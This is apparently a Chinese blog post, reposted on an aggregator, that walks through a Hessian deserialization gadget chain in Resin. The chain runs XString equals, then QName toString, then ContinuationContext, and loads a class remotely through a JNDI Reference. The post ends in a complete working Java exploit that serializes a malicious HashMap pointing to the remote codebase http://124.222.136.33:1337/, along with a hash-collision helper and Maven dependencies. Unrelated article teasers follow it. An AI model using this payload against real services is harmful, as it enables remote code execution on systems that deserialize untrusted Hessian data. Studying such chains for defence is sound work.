【Web】浅聊Hessian反序列化之Resin的打法——远程类加载

目录

前言

原理分析

XString:触发恶意类toString

QName的设计理念?

远程恶意类加载Context:ContinuationContext

QName:恶意toString利用

hash相等构造

EXP


前言

精神状态有点糟糕,随便学一下吧

首先明确一个朴素的认知:当Hessian反序列化Map类型的对象的时候,会自动调用其put方法,而put方法又会牵引出各种相关利用链打法。

对于HashMap,可以利用key.equals(k),当此处的key为XString时,就可以调用参数k的toString方法,从而进行恶意利用,这里在打Rome的HotSwappableTargetSource链时也有过涉及:

【Web】浅聊Java反序列化之Rome——关于其他利用链-CSDN博客

而这里传入equals的参数QName的toString方法的利用点是context属性的远程类加载。

关于远程类加载,C3P0打URLClassLoader和本条链十分相像,感兴趣的师傅可以看一下:

【Web】浅聊Java反序列化之C3P0——URLClassLoader利用

原理分析

XString:触发恶意类toString

当XString#equals参数为Object时,方法逻辑如下

  public boolean equals(Object obj2)
  {

    if (null == obj2)
      return false;

      // In order to handle the 'all' semantics of
      // nodeset comparisons, we always call the
      // nodeset function.
    else if (obj2 instanceof XNodeSet)
      return obj2.equals(this);
    else if(obj2 instanceof XNumber)
        return obj2.equals(this);
    else
      return str().equals(obj2.toString());
  }

最后的意思是如果非空obj2既不是XNodeSet,也不是XNumber的实例,那么将当前对象转换为字符串形式,再与obj2的字符串形式进行比较,从而调用传入的obj2#toString

当obj2为精心构造的QName时,也就有了下面的故事

QName的设计理念?

在Rome里我们有toStringBean来进行恶意toString利用,在Resin里,我们可以利用QName的恶意toString

在具体聊QName#toString前,我们先得对啥是QName有个朴素的认知

QName类的描述,直接来了波大的,其表示一个解析后的 JNDI 名称

先从QName的构造函数开始看吧

public QName(Context context, String first, String rest) {
        this._context = context;
        if (first != null) {
            this._items.add(first);
        }

        if (rest != null) {
            this._items.add(rest);
        }

    }

根据构造函数可以推测,QName对象的功能是用于表示一个JNDI限定名(qualified name),通过传入的Context对象以及两个字符串参数(first和rest),QName对象可以将这些信息组合起来形成一个完整的限定名。

Context为何?

看一下Context接口的描述

该接口表示一个命名上下文,包含一组名称到对象的绑定,它包含用于检查和更新这些绑定的方法 ,其实就是JNDI的相关操作。

OKOK点到为止

远程恶意类加载Context:ContinuationContext

其构造方法接受一个CannotProceedException和Hashtable

CannotProceedException是javax.naming异常体系中的一种异常,通常在本地加载类失败时使用。它的作用是对无法继续进行操作的异常情况进行处理。

而处理的关键则在Reference

我们要通过对cpe的精心构造来触发后续利用

构造如下:

        String refAddr = "http://124.222.136.33:1337/";
        String refClassName = "calc";

        Reference ref = new Reference(refClassName, refClassName, refAddr);

        Object cannotProceedException = Class.forName("javax.naming.CannotProceedException").getDeclaredConstructor().newInstance();
        String classname = "javax.naming.NamingException";
        setFiled(classname, cannotProceedException, "resolvedObj", ref);

至于为什么这样构造,现在可能看不懂,但其实结合后面的分析就十分显然了,不作赘述

先对照Reference构造方法看一看

再扔出两条调用链,细品

cpe.getResolvedObj()——>refInfo——>ref——>ref.getFactoryClassName()——>f——>factoryName
cpe.getResolvedObj()——>refInfo——>ref.getFactoryClassLocation()——>codebase

QName:恶意toString利用

再看QName#toString

通过一个for循环遍历当前对象所包含的元素,对集合中的每个元素进行处理。在循环中,获取当前元素的字符串表示并赋值给str。然后进入一个条件判断:

  • 如果name不为null,则调用上下文(this._context)的composeName方法,传入str和name作为参数,得到的结果赋值给name。
  • 如果composeName方法抛出命名异常(NamingException),则捕获异常,在name后面拼接"/"和当前元素的字符串表示str。
  • 如果name为null,直接将当前元素的字符串表示赋值给name。

我们这里令_context为ContinuationContext

跟进ContinuationContext#composeName(请忽略下面的ctx.composeName,它不在我们利用链中,这条链的核心就是ctx的远程加载类)

 跟进ContinuationContext#getTargetContext

为了进到NamingManager.getContext我们需要满足下面两个条件

contCtx == null,在构造中本身就不设置,所以不需要考虑
cpe.getResolvedObj()返回不为null(其实返回的就是我们上面给CannotProceedException构造的恶意Reference),同时在关键点参数中也会用到,因此这里需要构造,不会为null

跟进NamingManager.getContext

顾名思义,猜测其就是对恶意Reference进行一个实例化

机翻一下描述:“为指定的对象和环境创建一个对象实例。 如果安装了对象工厂构建器,则会使用它来创建用于创建对象的工厂。否则,将使用以下规则来创建对象: 如果 refInfo 是包含工厂类名称的 Reference 或 Referenceable,请使用命名工厂来创建对象。如果无法创建工厂,请返回 refInfo”

public static Object
    getObjectInstance(Object refInfo, Name name, Context nameCtx,
                      Hashtable<?,?> environment)
    throws Exception
{


    // Use reference if possible
    Reference ref = null;
    if (refInfo instanceof Reference) {
        ref = (Reference) refInfo;
    } else if (refInfo instanceof Referenceable) {
        ref = ((Referenceable)(refInfo)).getReference();
    }

    Object answer;

    if (ref != null) {
        String f = ref.getFactoryClassName();
        if (f != null) {
            // if reference identifies a factory, use exclusively

            // 关键点
            factory = getObjectFactoryFromReference(ref, f);
            // ....
    }
    // ...
}

其实就是需要远程加载恶意类(对象工厂),根据代码,需要让refInfo为Reference实例,同时ref.getFactoryClassName()不为空,至于设置成什么,继续观察后面方法,来到getObjectFactoryFromReference方法

首先试图通过当前上下文类加载器加载,这里的上下文类加载器是通过Thread.currentThread().getContextClassLoader();或ClassLoader.getSystemClassLoader();获取的,显然会找不到我们指定的类,再从Reference获取codebase(CannotProceedException的作用也就在这体现了,开发者的巧思)

接下来去codebase加载calc类

 stepinto,发现就是用URLClassLoader来加载远程类

 跟进loadClass

 最后返回值,回到NamingManager#getObjectFactoryFromReference,完成类的实例化

hash相等构造

HashMap#put中有着下述逻辑

调用key.equals(k),需要满足以下条件:①p.hash==hash,②p.key!=key,③key!=null

后两者是好解决的,主要问题在hash相等构造上

关注XString的hashCode方法

跟进str()

即将m_obj属性转换成字符串类型返回,最后调用String的hashCode方法进行hash计算,这里的m_obj即是实例化XString传入的参数 

我们只要让m_obj的hash值等于QName的hash值就可

现在的关键点在于根据String类的hashCode逻辑,得到该方法的逆操作,即根据hash值得到对应的string,然后将其作为m_obj

详细的逆操作算法我没太搞明白,就先当工具用吧(

 public static String unhash ( int hash ) {
        int target = hash;
        StringBuilder answer = new StringBuilder();
        if ( target < 0 ) {
            // String with hash of Integer.MIN_VALUE, 0x80000000
            answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");

            if ( target == Integer.MIN_VALUE )
                return answer.toString();
            // Find target without sign bit set
            target = target & Integer.MAX_VALUE;
        }

        unhash0(answer, target);
        return answer.toString();
    }
    private static void unhash0 ( StringBuilder partial, int target ) {
        int div = target / 31;
        int rem = target % 31;

        if ( div <= Character.MAX_VALUE ) {
            if ( div != 0 )
                partial.append((char) div);
            partial.append((char) rem);
        }
        else {
            unhash0(partial, div);
            partial.append((char) rem);
        }
    }

 hash相等构造利用

QName qName = new QName(continuationContext, "foo", "bar");
        String str = unhash(qName.hashCode());

EXP

pom依赖

 <dependencies>
        <dependency>
            <groupId>com.caucho</groupId>
            <artifactId>resin</artifactId>
            <version>4.0.63</version>
        </dependency>
        <dependency>
            <groupId>com.caucho</groupId>
            <artifactId>hessian</artifactId>
            <version>4.0.63</version>
        </dependency>
    </dependencies>

召唤计算器的神奇咒语

package com.Resin;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import com.caucho.naming.QName;
import com.sun.org.apache.xpath.internal.objects.XString;
import javax.naming.CannotProceedException;
import javax.naming.Context;
import javax.naming.Reference;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;

public class Resin {
    public static void main(String[] args) throws Exception {
        String refAddr = "http://124.222.136.33:1337/";
        String refClassName = "calc";

        Reference ref = new Reference(refClassName, refClassName, refAddr);

        Object cannotProceedException = Class.forName("javax.naming.CannotProceedException").getDeclaredConstructor().newInstance();
        String classname = "javax.naming.NamingException";
        setFiled(classname, cannotProceedException, "resolvedObj", ref);

        // 创建ContinuationContext对象
        Class<?> aClass = Class.forName("javax.naming.spi.ContinuationContext");
        Constructor<?> constructor = aClass.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
        // 构造方法为protected修饰
        constructor.setAccessible(true);
        Context continuationContext = (Context) constructor.newInstance(cannotProceedException, new Hashtable<>());


        // 创建QName
        QName qName = new QName(continuationContext, "foo", "bar");
        String str = unhash(qName.hashCode());
        // 创建Xtring
        XString xString = new XString(str);

        // 创建HashMap
        HashMap hashMap = new HashMap();
        hashMap.put(qName, "111");
        hashMap.put(xString, "222");

        // 序列化
        FileOutputStream fileOutputStream = new FileOutputStream("ResinHessian.bin");
        Hessian2Output hessian2Output = new Hessian2Output(fileOutputStream);
        SerializerFactory serializerFactory = new SerializerFactory();
        serializerFactory.setAllowNonSerializable(true);
        hessian2Output.setSerializerFactory(serializerFactory);
        hessian2Output.writeObject(hashMap);
        hessian2Output.close();

        // 反序列化
        FileInputStream fileInputStream = new FileInputStream("ResinHessian.bin");
        Hessian2Input hessian2Input = new Hessian2Input(fileInputStream);
        HashMap o = (HashMap) hessian2Input.readObject();

    }

    public static void setFiled(String classname, Object o, String fieldname, Object value) throws Exception {
        Class<?> aClass = Class.forName(classname);
        Field field = aClass.getDeclaredField(fieldname);
        field.setAccessible(true);
        field.set(o, value);
    }

    public static String unhash ( int hash ) {
        int target = hash;
        StringBuilder answer = new StringBuilder();
        if ( target < 0 ) {
            // String with hash of Integer.MIN_VALUE, 0x80000000
            answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");

            if ( target == Integer.MIN_VALUE )
                return answer.toString();
            // Find target without sign bit set
            target = target & Integer.MAX_VALUE;
        }

        unhash0(answer, target);
        return answer.toString();
    }
    private static void unhash0 ( StringBuilder partial, int target ) {
        int div = target / 31;
        int rem = target % 31;

        if ( div <= Character.MAX_VALUE ) {
            if ( div != 0 )
                partial.append((char) div);
            partial.append((char) rem);
        }
        else {
            unhash0(partial, div);
            partial.append((char) rem);
        }
    }
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/465996.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

解决Could not autowire. No beans of ‘UserMapper‘ type found问题

问题&#xff1a; 解决方法1 降低spring版本 失败 解决方法2 查看数据库连接&#xff0c;无作用 解决方法3 polo&#xff0c;Mapper不在同一级&#xff0c;修改&#xff0c;但无作用 解决方法4 将Autowrited改为Autowrited(required false)&#xff0c;无作用 解决方法…

嵌入式学习-网络编程

1.网络编程作用 程序能够通过网络与其他计算机上的程序进行数据交换、通信和协作 2.关键概念 两个对象&#xff1a;服务器&#xff08;被动响应请求&#xff09;&#xff0c;客户端&#xff08;主动发起请求&#xff09;。浏览器看b站视频时&#xff0c;浏览器就是客户端&am…

基于springboot创建mybatis

第一步&#xff1a;创建项目 第二步&#xff1a;添加依赖 第三步&#xff1a;连接MySQL 第四步&#xff1a;添加MySQL配置 #驱动类名称 spring.datasource.driver-class-namecom.mysql.cj.jdbc.Driver #数据库连接的url spring.datasource.urljdbc:mysql://localhost:3306/myb…

cmake指定不同版本的mingw编译

cmake指定不同版本的mingw编译&#xff0c;实现思路&#xff1a; 通过指定编译链的方式实现即可。 案例如下&#xff1a; mingw530的archi686&#xff0c;mingw810的archx86_64&#xff0c;通过指定不同版本的mingw编译链&#xff0c;实现程序的32bit和64bit的编译。 # 使用mi…

【爬虫】– 抓取原创力文档数据

使用RPA工具&#xff0c;实现针对于原创力中不可下载文档的抓取&#xff0c;可延用于其他类似文库 1 使用工具、环境 影刀RPA、WPS Office、谷歌浏览器&#xff08;非指定&#xff09; 2 代码流程 3 关键点 此方案只适合抓取非VIP即可预览全文的文档&#xff0c;抓取下来的数…

程序人生——Java异常使用建议

目录 引出异常建议110&#xff1a;提倡异常封装&#xff1b;建议111&#xff1a;采用异常链传递异常 建议112&#xff1a;受检异常尽可能转化为非受检异常建议113&#xff1a;不要在finally块中处理返回值 建议114&#xff1a;不要在构造函数中抛异常建议115&#xff1a;使用Th…

镜像制作实战篇

“ 在失控边缘冲杀为&#xff0c;最终解脱” CMD与EntryPoint实战 EntryPoint 与 CMD都是docker 镜像制作中的一条命令&#xff0c;它们在概念上可能有些相似&#xff0c;但在使用中&#xff0c;两者是有明显的区别的。比如&#xff0c;执行一个没有调用EntryPoint、CMD的容器会…

Linux系统部署DolphinScheduler任务调度系统并实现无公网IP远程访问

文章目录 前言1. 安装部署DolphinScheduler1.1 启动服务 2. 登录DolphinScheduler界面3. 安装内网穿透工具4. 配置Dolphin Scheduler公网地址5. 固定DolphinScheduler公网地址 前言 本篇教程和大家分享一下DolphinScheduler的安装部署及如何实现公网远程访问&#xff0c;结合内…

常用加密算法解析

对称加密算法 所谓对称&#xff0c;就是采用这种加密方法的双方使用方式用同样的密钥进行加密和解密。密钥是控制加密及解密过程的指令。算法是一组规则&#xff0c;规定如何进行加密和解密。 分类 常用的算法有&#xff1a;DES、3DES、AES等。 DES 全称为Data Encryption…

代码随想录阅读笔记-字符串【替换数字】

题目 给定一个字符串 s&#xff0c;它包含小写字母和数字字符&#xff0c;请编写一个函数&#xff0c;将字符串中的字母字符保持不变&#xff0c;而将每个数字字符替换为number。 例如&#xff0c;对于输入字符串 "a1b2c3"&#xff0c;函数应该将其转换为 "anu…

地下电缆频繁被挖断!智能地钉保卫电缆不马虎

随着城市规模的不断扩大和环境美化的高需求&#xff0c;越来越多管道线路转战地下&#xff0c;然而在城市建设过程中&#xff0c;却经常发生地下电缆、燃气管道、水管被破坏或挖断的事故&#xff0c;对居民生活和社会生产造成严重影响。以下是几起地下管线外破事故&#xff1a;…

实体门店加盟全解析:如何选择加盟项目与避免风险

对于想要开实体店或创业的人来说&#xff0c;拥有一个全面的运营方案是成功的关键。作为一名开鲜奶吧5年的创业者&#xff0c;我将为大家详细分享从选址到日常管理的实体店运营要点&#xff0c;帮助创业者少走弯路。 一、选择加盟项目 1.行业前景&#xff1a;选择一个有发展前…

CrossEntropyLoss 和NLLLoss的关系

交叉熵损失在做一件什么事? 看公式: x是预测(不需要softmax归一化),y是label, N是batch维度的数量,交叉熵损失,干了三件事. 1. 对输入在类别维度求softmax 2. 多softmax后的数,求log 3. 对(样本数, 类别数)为shape的tensor计算NLLLoss. 其中,NLLloss做的就是log取负, 和o…

WanAndroid(鸿蒙版)开发的第四篇

前言 DevEco Studio版本&#xff1a;4.0.0.600 WanAndroid的API链接&#xff1a;玩Android 开放API-玩Android - wanandroid.com 其他篇文章参考&#xff1a; 1、WanAndroid(鸿蒙版)开发的第一篇 2、WanAndroid(鸿蒙版)开发的第二篇 3、WanAndroid(鸿蒙版)开发的第三篇 …

(三)OpenOFDM符号对齐

符号对齐 模块&#xff1a;sync_long.v输入&#xff1a;I (16), Q (16), phase_offset (32), short_gi (1)输出&#xff1a;long_preamble_detected (1), fft_re (16), fft_im (16) 检测到数据包后&#xff0c;下一步是精确确定每个 OFDM 符号的起始位置。在802.11中&#xf…

基于大语言模型(LLM)的表格理解任务探索与实践

大语言模型&#xff08;LLMs&#xff09;的发展日新月异&#xff0c;为表格理解任务带来了新的可能性。表格理解任务&#xff0c;如基于表格的问答和表格事实验证&#xff0c;要求从自由形式的文本和半结构化的表格数据中提取深层次的语义信息。与泛化的文本推理任务不同&#…

数字电子技术实验(八)

单选题 1.3线-8线译码器74138&#xff0c;当输入时&#xff0c;输出有效的是哪路信号 答案&#xff1a;D 评语&#xff1a;0分 单选题 2.用74161计数器实现十进制计数器&#xff0c;置数端的输入信号为&#xff1f; 答案&#xff1a;C 评语&#xff1a;0分 单选题 3.电路中…

《ElementPlus 与 ElementUI 差异集合》el-input 多包裹一层 el-input__wrapper

差异 element-ui el-input 中&#xff0c;<div class"el-input"> 下一级就是 <input> 标签 &#xff1b;element-plus el-input中&#xff0c;<div class"el-input"> 和 <input> 标签之间多了一层 <div class"el-input__…

【LabVIEW FPGA入门】FPGA中的数据流

LabVIEW 以数据流方式执行代码。 当节点的所有输入上都存在数据时&#xff0c;该节点就会执行。 当节点完成执行时&#xff0c;节点的输出将数据传递到下游的下一个节点。 LabVIEW FPGA 使用三个组件来维护这种数据流范例。 节点具有与其功能相对应的逻辑 同步&#xff0c;该组…